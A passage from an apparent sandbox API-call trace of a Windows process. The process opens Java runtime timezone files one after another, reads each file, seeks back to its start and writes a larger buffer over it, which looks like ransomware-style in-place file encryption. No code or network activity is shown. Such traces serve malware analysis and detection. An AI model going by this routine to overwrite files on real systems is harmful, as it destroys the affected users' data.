CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Miquelon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0045.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Miquelon", cchWideChar=8, lpMultiByteStr=0x1e6326c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Miquelon", lpUsedDefaultChar=0x0) returned 8 [0045.475] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2f4f2bc*=0x3a0, lpOverlapped=0x0) returned 1 [0045.479] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.479] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x928, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2f4f2d0*=0x928, lpOverlapped=0x0) returned 1 [0045.479] CloseHandle (hObject=0x1cc) returned 1 [0045.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Noronha" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\noronha"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.480] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.480] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x179 [0045.480] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.480] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.480] ReleaseMutex (hMutex=0x128) returned 1 [0045.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Noronha", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Noronha", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Noronha", lpUsedDefaultChar=0x0) returned 7 [0045.480] ReadFile (in: hFile=0x1cc, lpBuffer=0x1df3fd8, nNumberOfBytesToRead=0x179, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df3fd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x179, lpOverlapped=0x0) returned 1 [0045.481] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.481] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x701, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x701, lpOverlapped=0x0) returned 1 [0045.481] CloseHandle (hObject=0x1cc) returned 1 [0045.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Porto_Velho" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\porto_velho"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.482] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.482] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x129 [0045.482] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.482] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.482] ReleaseMutex (hMutex=0x128) returned 1 [0045.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Porto_Velho", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Porto_Velho", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Porto_Velho", lpUsedDefaultChar=0x0) returned 11 [0045.482] ReadFile (in: hFile=0x1cc, lpBuffer=0x262fc38, nNumberOfBytesToRead=0x129, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262fc38*, lpNumberOfBytesRead=0x2f4f2bc*=0x129, lpOverlapped=0x0) returned 1 [0045.483] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.483] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b1, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6b1, lpOverlapped=0x0) returned 1 [0045.483] CloseHandle (hObject=0x1cc) returned 1 [0045.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santa_Isabel" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\santa_isabel"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.484] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.484] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4fc [0045.484] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.484] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.484] ReleaseMutex (hMutex=0x128) returned 1 [0045.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Santa_Isabel", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0045.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Santa_Isabel", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Santa_Isabel", lpUsedDefaultChar=0x0) returned 12 [0045.484] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x4fc, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x2f4f2bc*=0x4fc, lpOverlapped=0x0) returned 1 [0045.486] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.486] WriteFile (in: hFile=0x1cc, lpBuffer=0x261dca8*, nNumberOfBytesToWrite=0xa84, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261dca8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xa84, lpOverlapped=0x0) returned 1 [0045.486] CloseHandle (hObject=0x1cc) returned 1 [0045.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Vincent" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_vincent"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.487] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.487] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x41 [0045.487] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.487] ReleaseMutex (hMutex=0x128) returned 1 [0045.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Vincent", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Vincent", cchWideChar=10, lpMultiByteStr=0x1e6326c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="St_Vincent", lpUsedDefaultChar=0x0) returned 10 [0045.487] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x2f4f2bc*=0x41, lpOverlapped=0x0) returned 1 [0045.488] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.488] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0045.488] CloseHandle (hObject=0x1cc) returned 1 [0045.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Winnipeg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\winnipeg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.491] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.491] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x618 [0045.491] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.491] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.491] ReleaseMutex (hMutex=0x128) returned 1 [0045.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Winnipeg", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0045.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Winnipeg", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Winnipeg", lpUsedDefaultChar=0x0) returned 8 [0045.491] ReadFile (in: hFile=0x1cc, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x2f4f2bc*=0x618, lpOverlapped=0x0) returned 1 [0045.496] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.496] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xba0, lpOverlapped=0x0) returned 1 [0045.496] CloseHandle (hObject=0x1cc) returned 1 [0045.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\rothera"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.497] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.497] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x41 [0045.497] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.497] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.497] ReleaseMutex (hMutex=0x128) returned 1 [0045.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rothera", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rothera", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rothera", lpUsedDefaultChar=0x0) returned 7 [0045.497] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2f4f2bc*=0x41, lpOverlapped=0x0) returned 1 [0045.498] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.498] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0045.498] CloseHandle (hObject=0x1cc) returned 1 [0045.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\baghdad"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.500] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.500] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1e9 [0045.500] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.500] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.500] ReleaseMutex (hMutex=0x128) returned 1 [0045.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Baghdad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Baghdad", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Baghdad", lpUsedDefaultChar=0x0) returned 7 [0045.500] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1e9, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2f4f2bc*=0x1e9, lpOverlapped=0x0) returned 1 [0045.501] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.501] WriteFile (in: hFile=0x1cc, lpBuffer=0x276a348*, nNumberOfBytesToWrite=0x771, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesWritten=0x2f4f2d0*=0x771, lpOverlapped=0x0) returned 1 [0045.501] CloseHandle (hObject=0x1cc) returned 1 [0045.502] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Damascus" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\damascus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.505] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.505] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x514 [0045.505] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.506] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.506] ReleaseMutex (hMutex=0x128) returned 1 [0045.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Damascus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0045.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Damascus", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Damascus", lpUsedDefaultChar=0x0) returned 8 [0045.506] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x2f4f2bc*=0x514, lpOverlapped=0x0) returned 1 [0045.510] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.510] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xa9c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xa9c, lpOverlapped=0x0) returned 1 [0045.510] CloseHandle (hObject=0x1cc) returned 1 [0045.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ho_Chi_Minh" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ho_chi_minh"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.512] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.512] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x61 [0045.512] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.512] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.512] ReleaseMutex (hMutex=0x128) returned 1 [0045.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ho_Chi_Minh", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ho_Chi_Minh", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ho_Chi_Minh", lpUsedDefaultChar=0x0) returned 11 [0045.512] ReadFile (in: hFile=0x1cc, lpBuffer=0x1df5d38, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5d38*, lpNumberOfBytesRead=0x2f4f2bc*=0x61, lpOverlapped=0x0) returned 1 [0045.513] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.513] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5e9, lpOverlapped=0x0) returned 1 [0045.514] CloseHandle (hObject=0x1cc) returned 1 [0045.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Khandyga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\khandyga"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.517] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.517] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x259 [0045.518] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.518] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.518] ReleaseMutex (hMutex=0x128) returned 1 [0045.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Khandyga", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0045.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Khandyga", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Khandyga", lpUsedDefaultChar=0x0) returned 8 [0045.518] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x259, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2f4f2bc*=0x259, lpOverlapped=0x0) returned 1 [0045.519] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.519] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7e1, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7e1, lpOverlapped=0x0) returned 1 [0045.519] CloseHandle (hObject=0x1cc) returned 1 [0045.520] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\muscat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.524] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.524] 